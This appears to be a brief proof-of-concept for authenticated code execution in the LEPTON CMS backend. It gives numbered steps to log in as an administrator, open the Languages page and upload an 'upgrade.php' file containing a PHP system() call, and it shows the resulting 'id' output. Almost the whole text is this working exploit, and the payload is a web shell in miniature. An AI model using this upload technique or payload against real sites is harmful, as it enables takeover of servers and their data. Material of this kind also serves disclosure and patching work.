1 ) Login with admin cred > https://127.0.0.1/LEPTON/backend/login/index.php
2 ) Go to Languages place > https://127.0.0.1/LEPTON/backend/languages/index.php
3 ) Upload upgrade.php file in languages place > <?php echo system('id'); ?>
4 ) After click install you will be see result
# Result : uid=1000(lepton) gid=1000(lepton) groups=1000(lepton) uid=1000(lepton) gid=1000(lepton) groups=1000(lepton)